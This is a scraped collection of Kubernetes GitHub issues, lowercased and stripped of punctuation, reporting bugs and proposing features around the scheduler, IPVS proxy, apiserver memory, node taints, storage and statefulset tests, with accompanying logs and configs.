<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  imagelocalitypriority  has been implemented for quite a while  prs:  18248  20140 . but due to scheduler cache is not ready at that time, this  not enabled by default considering the potential performance impact. see: https://github.com/kubernetes/kubernetes/pull/20140 discussion_r51342913\r \r i think we can move this  default now. if anyone has concerns, please let me know. \r \r i will use this issue as a tracker.\r  \r the tasks in my mind includes:\r -  x  refactor the implementation with scheduler cache  63345  63528 \r    - we have a  benchmark report  https://docs.google.com/document/d/1dxmq9ydww2nxlfu82_w4krospeekj_07zoui12cpv20/edit   by @silveryfu , i believe the performance concern has been addressed\r -     fix inconsistency with cri runtime  63354  not the target for 1.12 \r -  x  enabled this feature by default and include integration tests ~~and e2e tests~~  68081 \r \r \r   anything else we need to know?  :\r \r i would suggest 1.11 or 1.12 as the target release.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i have k8s 1.10.3 provisioed on aws with kops.\r \r i defined pv:\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: data\r   namespace: infra\r spec:\r   accessmodes:\r     - readwriteonce\r   capacity:\r     storage: 80gi\r    \r \r    bash\r $ kubectl get storageclass\r name            provisioner             age\r default         kubernetes.io/aws-ebs   31d\r gp2  default    kubernetes.io/aws-ebs   31d\r \r    \r \r \r applying this pv results with an error:\r    \r the persistentvolume \ data\  is invalid: spec: required value: must specify a volume type\r    \r but volume is created  ebs .\r \r am i missing something or this is kind of a bug?\r  \r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

what happened  :\r when a dry run request is made to a modifying endpoint, and the dry-run alpha feature is disabled, it returns the error message \ dryrun is not supported yet\ \r this was true in 1.11, but in 1.12, since the feature is in alpha now, the message should say something like \ the dryrun alpha feature is disabled\ \r \r  

k8s.io/apimachinery/pkg/util/diff  is a test only package.  cmp  package has a superset of functionality and better error ourput. we do a lot of manual iterations like\r  \r https://godoc.org/github.com/google/go-cmp/cmp\r \r various tests can be simplified e.g.:\r \r https://github.com/kubernetes/kubernetes/blob/8307fb2fb3ddd48cd8447e54978166f0c1123583/pkg/controller/certificates/rootcacertpublisher/publisher_test.go l186-l201\r \r to:\r \r    go\r if !cmp.equal expect, actions  {\r     t.errorf \ unexpected actions:\ %s\ , cmp.diff expect, actions  \r }\r    \r 

seen in logs:  etcd_helper_watch.go:411  unknown action: expire   https://github.com/googlecloudplatform/kubernetes/blob/11f9fd1dcd9a0b45e2b1fdeced95b61aed153599/pkg/tools/etcd_helper_watch.go l411  presumably this should send a delete instead of dropping it on the floor.

the default teminated gc pod settings seems to increase the memory utilization on cluster masters to a much higher level than v1.1.x. this is causing some issues. this option is adjustable via this flag, but it needs to be exposed through the salt and startup scripts so it can be changed via env vars.

in a recent hangout @jbeda described a scheme where nodes would either: 1. have a pki certificate distributed to them as part of the node setup process,  2. or generate their own certificate and somehow distribute it to the apiserver  used in environments with simpler security models , possibly involving a \ rendezvous point\   @jbeda to publish doc on this .  this is separate but complementary to the kubelet self registration work by @brendandburns in  2435.  proposal: - i'll write an authenticator module that accepts clients who present client certs that are signed by the same root ca as the master's cert.  this seems like it fits well with option 1 above.  i don't understand option 2 well enough yet to know if it will work.  but it seems needed for 1 so i propose to write it regardless. -  associcate such a certificates first dnsname with a user.info  creating if needed . - write a multi-authenticator module that takes a request and first tries token auth, and then client-cert auth, and returns the user.info from the first successful authentication.   @smarterclayton @liggitt  feedback wanted too.

i have noticed it a couple of times that when i am trying to export a resource, selflinks stay around and the namespace is not part of the link anymore.       mkargaki@dhcp129-211 kubernetes.github.io $ kc get quota -o yaml apiversion: v1 items: - apiversion: v1   kind: resourcequota   metadata:     creationtimestamp: 2016-09-29t16:53:38z     name: object-counts     namespace: default     resourceversion: \ 63\      selflink: /api/v1/namespaces/default/resourcequotas/object-counts     uid: 4494594b-8665-11e6-9fad-68f72840e7df   spec:     hard:       pods: \ 2\    status:     hard:       pods: \ 2\      used:       pods: \ 0\  kind: list metadata: {} $ kc get quota object-counts --export -o yaml apiversion: v1 kind: resourcequota metadata:   creationtimestamp: null   name: object-counts   selflink: /api/v1/namespaces//resourcequotas/object-counts spec:   hard:     pods: \ 2\  status: {}      we could maybe have this issue as a duplicate of https://github.com/kubernetes/kubernetes/issues/24855 but i thought we already cleaned up object meta.  @kubernetes/sig-apps

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-slow-release-1.5/456/  failed:  k8s.io  pod disks should schedule a pod w/ a rw pd shared between multiple containers, write to pd, delete pod, verify contents, and repeat in rapid succession  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:362 expected error:     < errors.errorstring | 0xc4204433c0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:338       previous issues for this test:  28010  28427  33997

bug:  \r \r we found an issue that crop'd up on an upgrade from 1.3.x->1.4.y where we see a strikingly large increase in iops on the etcd node 4-5x.  on large clusters that do not have sufficient iops this can cause etcd sync and timeout problems, which then manifest into other issues. \r \r e.g. trigger false leader-election and cluster instability\r \r   kubernetes version    use  kubectl version  :\r 1.4 & 1.5 \r \r   environment  :\r all \r \r xref: https://github.com/coreos/etcd/issues/7232 \r \r /cc @wojtek-t @kubernetes/sig-scalability-misc @kubernetes/sig-api-machinery-misc  @smarterclayton \r

this is a feature request.\r \r now persistent volume/persistent volume claims can display capacity. however, i am wondering if pvc can display how much of the capacity is used, and how much is left. \r

these are the tests that verify real app connectivity during node upgrades.  it's testing a confluence of features, but it's also testing that a particular arrangement of statefulset/replicaset and poddisruptionbudget is actually correct for the app in question.\r \r this was brought up during the review of  47200.\r \r these are e2e tests written our e2e/upgrade framework.  so one question is do we start treating the e2e/upgrade framework more like an api that other repos can consume?   maybe we're already doing this? \r \r @maisem @kargakis @kubernetes/sig-testing-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r there is no ut for pkg/api/toleration.go.\r \r 

is this a bug report or feature request?  :\r  \r   what happened  :\r follow up for  49836 ,  50730 \r \r with the change for cloud-controller-manager updating providerid, the node.spec.providerid is to be updated. but it will fail later in node update call:\r    \r e0830 05:54:08.576076   21643 node_controller.go:374  node \ k8s-agentpool1\  is invalid:   : forbidden: node updates may only change labels, taints, or capacity  or configsource, if the dynamickubeletconfig feature gate is enabled \r    \r \r should also check validation rule:\r https://github.com/kubernetes/kubernetes/blob/12d73c31a97188286e7f4c8a3aec7fcd38a76a83/pkg/api/validation/validation.go l3432\r \r by adding following line will do the trick.\r    \r oldnode.spec.providerid = node.spec.providerid\r    \r \r but this will also allow users to manually edit node's providerid\r \r shall we enforce that only cloud-controller-manager can update the providerid?\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r

is this a bug report or feature request?  :\r   \r   what happened  :\r i am using ipvs with kube 1.8 and notice that every time the ipvs sync occurs it sees all services as changed, even though they have not actually changed or moved.\r \r i see the following messages for all services, and then see the ipvs/iptables updates occurring:\r    \r oct 12 12:43:23 worker-23.test.ibm.com kube-proxy.service 3408395 : i1012 12:43:23.627839 3408395 proxier.go:1288  ipvs service default/httpperf-np-service-njr:http was changed\r    \r \r it looks like the following check around line 1273 in https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/proxier.go is always returning false:\r  if appliedvirtualserver == nil || !appliedvirtualserver.equal vs  { \r \r i added some extra debug to print out the values for appliedvirtualserver & vs, and it showed the following:\r    \r oct 12 12:43:23 worker-23.test.ibm.com kube-proxy.service 3408395 : i1012 12:43:23.627805 3408395 proxier.go:1273  appliedvirtualserver: 10.143.115.226,tcp,30089,rr,2,0\r oct 12 12:43:23 worker-23.test.ibm.com kube-proxy.service 3408395 : i1012 12:43:23.627830 3408395 proxier.go:1274  vs: 10.143.115.226,tcp,30089,rr,0,0\r oct 12 12:43:23 worker-23.test.ibm.com kube-proxy.service 3408395 : i1012 12:43:23.627839 3408395 proxier.go:1288  ipvs service default/httpperf-np-service-njr:http was changed\r    \r it is the  utilipvs.virtualserver.flags  field that is always different.  appliedvirtualserver  is always 2 whereas  vs  is always 0.\r \r \r   what you expected to happen  :\r ipvs & iptable rules only updated when services have changed\r \r   how to reproduce it  as minimally and precisely as possible   :\r start kube-proxy with the following parameters:\r \r    \r           --proxy-mode=ipvs \\\r           --ipvs-min-sync-period 60s \\\r           --ipvs-sync-period 300s \\\r           --feature-gates=supportipvsproxymode=true \\\r           --v=4\r    \r create a service  mine is nodeport - not sure if this affects all services  \r view the logs, and on every sync you will see it believes the service has changed.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes v1.8.0-1+edd813e3ac8824\r - cloud provider or hardware configuration  : vsis running on ibm softlayer\r - os  e.g. from /etc/os-release :ubuntu 16.04.2 lts  xenial \r - kernel  e.g.  uname -a  :4.4.0-92-generic  115-ubuntu smp thu aug 10 09:04:33 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r  /area kube-proxy

  @kubernetes/sig-apimachinery-bugs\r \r \r   what happened  : kube-api-server is consuming more and more memory until end with all available resources\r \r   what you expected to happen  : kube-api-server consuming more or less the same amount of memory since there is no change in the api requests or cluster load\r \r   how to reproduce it  as minimally and precisely as possible   : run a cluster with kops in aws  manifest provided at the end of the issue  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:16:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : aws,  running api-server in masters  m4.large  a cluster of 6 nodes  m4.2xlarge  with very low load of pods\r - os  e.g. from /etc/os-release : kope.io/k8s-1.7-debian-jessie-amd64-hvm-ebs-2017-07-28\r - kernel  e.g.  uname -a  : linux ip-172-20-11-106 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 gnu/linux\r - install tools: kops 1.8.0-alpha1\r - others:\r \r !   https://i.imgur.com/pqgptvn.png \r \r kops manifest\r \r    \r apiversion: kops/v1alpha2\r kind: cluster\r metadata:\r   creationtimestamp: 2017-10-16t09:11:48z\r   name:  redacted \r spec:\r   additionalpolicies:\r     node: ' {\ action\ : \ sts:assumerole\  ,\ effect\ :\ allow\ ,\ resource\ :\  \ } '\r   api:\r     loadbalancer:\r       type: public\r   authorization:\r     rbac: {}\r   channel: stable\r   cloudlabels:\r     environment: testing\r     owner: unknown\r   cloudprovider: aws\r   configbase:  redacted \r   dnszone:  redacted \r   etcdclusters:\r   - enableetcdtls: true\r     etcdmembers:\r     - instancegroup: master-eu-west-1a\r       name: a\r     - instancegroup: master-eu-west-1b\r       name: b\r     - instancegroup: master-eu-west-1c\r       name: c\r     name: main\r     version: 3.1.10\r   - enableetcdtls: true\r     etcdmembers:\r     - instancegroup: master-eu-west-1a\r       name: a\r     - instancegroup: master-eu-west-1b\r       name: b\r     - instancegroup: master-eu-west-1c\r       name: c\r     name: events\r     version: 3.1.10\r   iam:\r     legacy: false\r   kubeapiserver:\r     auditlogmaxage: 10\r     auditlogmaxbackups: 1\r     auditlogmaxsize: 100\r     auditlogpath: /var/log/kube-apiserver-audit.log\r   kubelet:\r     featuregates:\r       experimentalcriticalpodannotation: \ true\ \r   kubernetesapiaccess:\r   - 0.0.0.0/0\r   kubernetesversion: 1.8.1\r   masterinternalname:  redacted \r   masterpublicname:  redacted \r   networkcidr: 172.20.0.0/16\r   networking:\r     canal: {}\r   nonmasqueradecidr: 100.64.0.0/10\r   sshaccess:\r   - 0.0.0.0/0\r   subnets:\r   - cidr: 172.20.32.0/19\r     name: eu-west-1a\r     type: private\r     zone: eu-west-1a\r   - cidr: 172.20.64.0/19\r     name: eu-west-1b\r     type: private\r     zone: eu-west-1b\r   - cidr: 172.20.96.0/19\r     name: eu-west-1c\r     type: private\r     zone: eu-west-1c\r   - cidr: 172.20.0.0/22\r     name: utility-eu-west-1a\r     type: utility\r     zone: eu-west-1a\r   - cidr: 172.20.4.0/22\r     name: utility-eu-west-1b\r     type: utility\r     zone: eu-west-1b\r   - cidr: 172.20.8.0/22\r     name: utility-eu-west-1c\r     type: utility\r     zone: eu-west-1c\r   topology:\r     bastion:\r       bastionpublicname:  redacted \r     dns:\r       type: public\r     masters: private\r     nodes: private\r

https://k8s-testgrid.appspot.com/sig-scalability-kubemark kubemark-100\r https://k8s-testgrid.appspot.com/sig-scalability-kubemark kubemark-500\r https://k8s-testgrid.appspot.com/sig-scalability-kubemark kubemark-5000\r \r  cc @kubernetes/sig-scalability-bugs

   \r   what happened  :\r kubernetes v1.7.11  \r kube-controller-manager and kube-scheduler fatal restart, and all nodes update node status failure.\r \r kube-controller-manager fatal logs:\r    \r running on machine: master-1\r binary: built with gc go1.8.3 for linux/amd64\r log line format:  iwef mmdd hh:mm:ss.uuuuuu threadid file:line  msg\r f0709 10:49:37.947502  574544 controllermanager.go:220  leaderelection lost\r goroutine 1  running :\r k8s.io/kubernetes/vendor/github.com/golang/glog.stacks 0xc42000c001, 0xc4284f1000, 0x88a, 0x2710 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:766 +0xa7\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .output 0x519afc0, 0xc400000003, 0xc420954bb0, 0x5054be2, 0x14, 0xdc, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:720 +0x1a3\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .printf 0x519afc0, 0x3, 0x36e8455, 0x13, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:655 +0x14f\r k8s.io/kubernetes/vendor/github.com/golang/glog.fatalf 0x36e8455, 0x13, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:1145 +0x67\r k8s.io/kubernetes/cmd/kube-controller-manager/app.run.func3  \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:220 +0x51\r k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .run.func1 0xc42068c240 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:146 +0x4a\r k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .run 0xc42068c240 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:153 +0xb4\r k8s.io/kubernetes/pkg/client/leaderelection.runordie 0x50e0820, 0xc42037b7a0, 0x37e11d600, 0x2540be400, 0x77359400, 0xc4203e4c80, 0x37c0448, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:162 +0x5a\r k8s.io/kubernetes/cmd/kube-controller-manager/app.run 0xc420528000, 0x37c7240, 0xc420058ea0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:223 +0x890\r main.main  \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/controller-manager.go:54 +0x102\r \r goroutine 5  chan receive :\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x519afc0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x7a\r created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.1\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x21d\r    \r kube-scheduler fatal logs:\r    \r running on machine: master-1\r binary: built with gc go1.8.3 for linux/amd64\r log line format:  iwef mmdd hh:mm:ss.uuuuuu threadid file:line  msg\r f0709 10:49:37.947676  574545 server.go:141  lost master\r goroutine 1  running :\r k8s.io/kubernetes/vendor/github.com/golang/glog.stacks 0xc42000c001, 0xc4245d0000, 0x84d, 0x2710 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:766 +0xa7\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .output 0x30da120, 0xc400000003, 0xc42023c4d0, 0x301bd03, 0x9, 0x8d, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:720 +0x1a3\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .printf 0x30da120, 0x3, 0x2180ad2, 0xb, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:655 +0x14f\r k8s.io/kubernetes/vendor/github.com/golang/glog.fatalf 0x2180ad2, 0xb, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:1145 +0x67\r k8s.io/kubernetes/plugin/cmd/kube-scheduler/app.run.func2  \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/plugin/cmd/kube-scheduler/app/server.go:141 +0x51\r k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .run.func1 0xc42071a240 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:146 +0x4a\r k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .run 0xc42071a240 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:153 +0xb4\r k8s.io/kubernetes/pkg/client/leaderelection.runordie 0x306c740, 0xc421126c60, 0x37e11d600, 0x2540be400, 0x77359400, 0xc4244d4610, 0x220a7e8, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:162 +0x5a\r k8s.io/kubernetes/plugin/cmd/kube-scheduler/app.run 0xc42025a140, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/plugin/cmd/kube-scheduler/app/server.go:144 +0xb4a\r main.main  \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/plugin/cmd/kube-scheduler/scheduler.go:40 +0x81\r \r goroutine 5  chan receive, 2 minutes :\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x30da120 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x7a\r created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.1\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x21d\r \r goroutine 49  chan receive, 1422 minutes :\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  controller .run.func1 0xc4203f73e0, 0xc420224780 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:103 +0x40\r created by k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  controller .run\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:105 +0x9c\r \r    \r kube-apiserver error logs\r    \r kube-apiserver 52063 : e0709 11:14:45.887298   52063 writers.go:142  apiserver was unable to write a json response: http: handler timeout\r kube-apiserver 52063 : e0709 11:14:45.890642   52063 writers.go:142  apiserver was unable to write a json response: http: handler timeout\r kube-apiserver 52063 : e0709 11:14:45.894027   52063 status.go:62  apiserver received an error that is not an metav1.status: http: handler timeout\r kube-apiserver 52063 : e0709 11:14:45.927790   52063 writers.go:142  apiserver was unable to write a json response: http2: stream closed\r kube-apiserver 52063 : e0709 11:14:45.929795   52063 writers.go:142  apiserver was unable to write a json response: http: handler timeout\r kube-apiserver 52063 : e0709 11:14:46.012641   52063 status.go:62  apiserver received an error that is not an metav1.status: http: handler timeout\r kube-apiserver 52063 : e0709 11:14:46.083986   52063 status.go:62  apiserver received an error that is not an metav1.status: http: handler timeout\r    \r kubelet error logs:\r    \r kubelet 2294 : e0709 10:37:18.537442    2294 event.go:200  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , a     piversion:\ \ }, objectmeta:v1.objectmeta{name:\ java-tianpeng-club-dubbo.product-2154283552-sjsjd.1535a35cb19bc0ae\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , reso     urceversion:\ 223147998\ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiod     seconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalize     rs:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ java-tianpeng-club-dubbo.product-2154283552-sjsjd\ , uid:\ 21da492f-68b1     -11e8-8e1d-fa163e92a7d1\ , apiversion:\ v1\ , resourceversion:\ 191230821\ , fieldpath:\ spec.containers{app}\ }, reason:\ unhealthy\ , message:\ readiness probe failed: get http://10.105.37.54:8087/zbjcheck: net/http: request canceled  client.timeout exceeded while awaiting headers \ , source:v1.eventsource{component:\ kubelet\ , host:\ 10.20.128.187\ }, firsttimestam     p:v1.time{time:time.time{sec:63663904067, nsec:0, loc:  time.location  0x58de000 }}, lasttimestamp:v1.time{time:time.time{sec:63666699863, nsec:211579284, loc:  time.location  0x     58de000 }}, count:99541, type:\ warning\ }': 'timeout: request did not complete within allowed duration'  will not retry! \r kubelet_node_status.go:357  error updating node status, will retry: error getting node \ 10.20.128.120\ : get https://10.20.128.251:8443/api/v1/nodes/10.20.128.120: net/http: request canceled  client.timeout exceeded while awaiting headers \r transport: http2server.handlestreams failed to read frame: read unix /var/run/dockershim.sock->@: use of closed network connection\r transport: http2client.notifyerror got notified that the client transport was broken eof.\r    \r i have migrated the etcd database to another machines, everything was normal at that time. but i'm not sure whether it's about etcd, because etcd logs is normal. \r after a period of time, kube-controller-manager and kube-scheduler fatal restart, and all nodes update node status, all nodes status are notready, last for more than ten minutes and then recovery, it happens every few days.\r what's wrong with kube-controller-manager and kube-scheduler,\r i'm very anxious, thanks!\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.11\ , gitcommit:\ b13f2fd682d56eab7a6a2b5a1cab1a3d2c8bdd55\ , gittreestate:\ clean\ , builddate:\ 2017-11-25t18:34:52z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.11\ , gitcommit:\ b13f2fd682d56eab7a6a2b5a1cab1a3d2c8bdd55\ , gittreestate:\ clean\ , builddate:\ 2017-11-25t17:51:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os  e.g. from /etc/os-release :\r centos linux release 7.4.1708  core \r - kernel  e.g.  uname -a  :\r linux 3.10.0-693.17.1.el7.x86_64\r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when taintnodesbycondition is enabled, if a node lost connection to apiserver, node lifecycle manager doesn't add \ unreachable\  taint to the node.\r so that results in scheduler still scheduled pods onto that \ lost\  node, in a pending status.\r \r   what you expected to happen  :\r \r if a node is lost, an \ unreachable\  taint should be added onto the node, so that new pods won't be scheduled onto the \ unreachable\  node.\r and if the node gets recovered, the taint should be removed. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - enable taintnodesbycondition - it's default behavior of current master branch\r - create a 1-node cluster\r - create a deployment with 10 replicas, and they landed on the only node with running status\r - ssh into the node and break connectivity to apiserver   iptables --insert output --destination <apiserver ip> --jump reject  \r - wait for the node-1 to be notready  not that at this moment, the 10 pods are still running status, but internally the ready condition is false, i guess it's node lifecycle manager modifying them when it's not getting heartbeat from kubelet within a time period \r - then create node-2 and join the cluster\r - a few mins later, 5 pods were created with running status onto node-2, and 5 pods still get scheduled to node-1 with pending status. and old 10 pods switches to unknown status.\r \r if i disable taintnodesbycondition and repeat the whole process, result of last step above is different:\r \r - a few mins later, another 10 pods were created with running status onto node-2. and old 10 pods switches to unknown status.\r \r   anything else we need to know?  :\r \r  67536 might be another symptom due to the same bug.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12  or v1.1x where taintnodesbycondition is enabled manually \r - cloud provider or hardware configuration: kubeadm\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r

feature request  \r  \r as a paranoid admin,\r i would like to take a manual backup of all / .xml files in a folder  think jenkins \r so that i can preserve a snapshot of the config\r \r e.g.  kubectl cp <namespace>/$jenkins_master_pod:/var/jenkins_home/ .xml . \r \r   environment  :\r - kubernetes version:\r \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ \r \r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aks  azure \r - os  e.g. from /etc/os-release : mac\r - kernel  e.g.  uname -a  :  darwin kernel version 17.4.0\r

we should limit access to secrets when in etcd.  initially discussed in  11937.  although we discourage it, people seem to want to build their own clusters where etcd is used by both apiserver and by other components, to store configuration.  secrets want to have kubernetes access controls on them, and not to be widely readable.  other types of configuration wants to be widely readable.   we could do this in a couple of ways: 1. use etcd acls to limit access to the etcd keys that hold secrets. 1. encrypt some or all of the secret data when stored.  @liggitt @pmorie  thoughts?

we made 9 kubernetes cluster 1 master + 8 workers .  but randomly, worker node's status become \ not ready\ .  here is the kubelet logs. docker process works fine at that time   \ i1204 06:26:09.828470   29219 kubelet.go:1735  skipping pod synchronization, container runtime is not up.\

a list of tests for statefulset  excluding existing ones . feel free to extend / update the list:\r \r -  x  scale statefulset up/down  30082  pr:  32868,  34454 \r -     statefulset upgrades\r   -  x  manual update  pr:  36849 \r   -     rolling update  28706  not implemented yet \r -     statefulset examples \r   -  x  all existing examples  pr:  36793 \r   -     add as least a non-database example, and a test for it \r   -  x  enable cluster restart test  pr:  36910 \r -     pod network identity\r -     upgrade of the kubernetes node should keep the petset functioning as intended\r -     rollbacks should occur as expected in case of a network partition and maintain data consistency\r -     statefulset fencing  31762 \r   -  x  network partition tests for statefulset \r -     overlapping statefulsets should fail gracefully  not handled yet, target 1.6 \r -     pv/pvc\r   -     delete a pod's pvc, it should come back with the same name  should that emit warning events? \r   -     delete pods won’t affect pvcs / pvs  unless other delete policies implemented and specified \r -     check that pods creation timestamps don't overlap \r -     rollbacks should occur as expected in case of a network partition and maintain data consistency\r \r cc @erictune @foxish @kow3ns @kubernetes/sig-apps

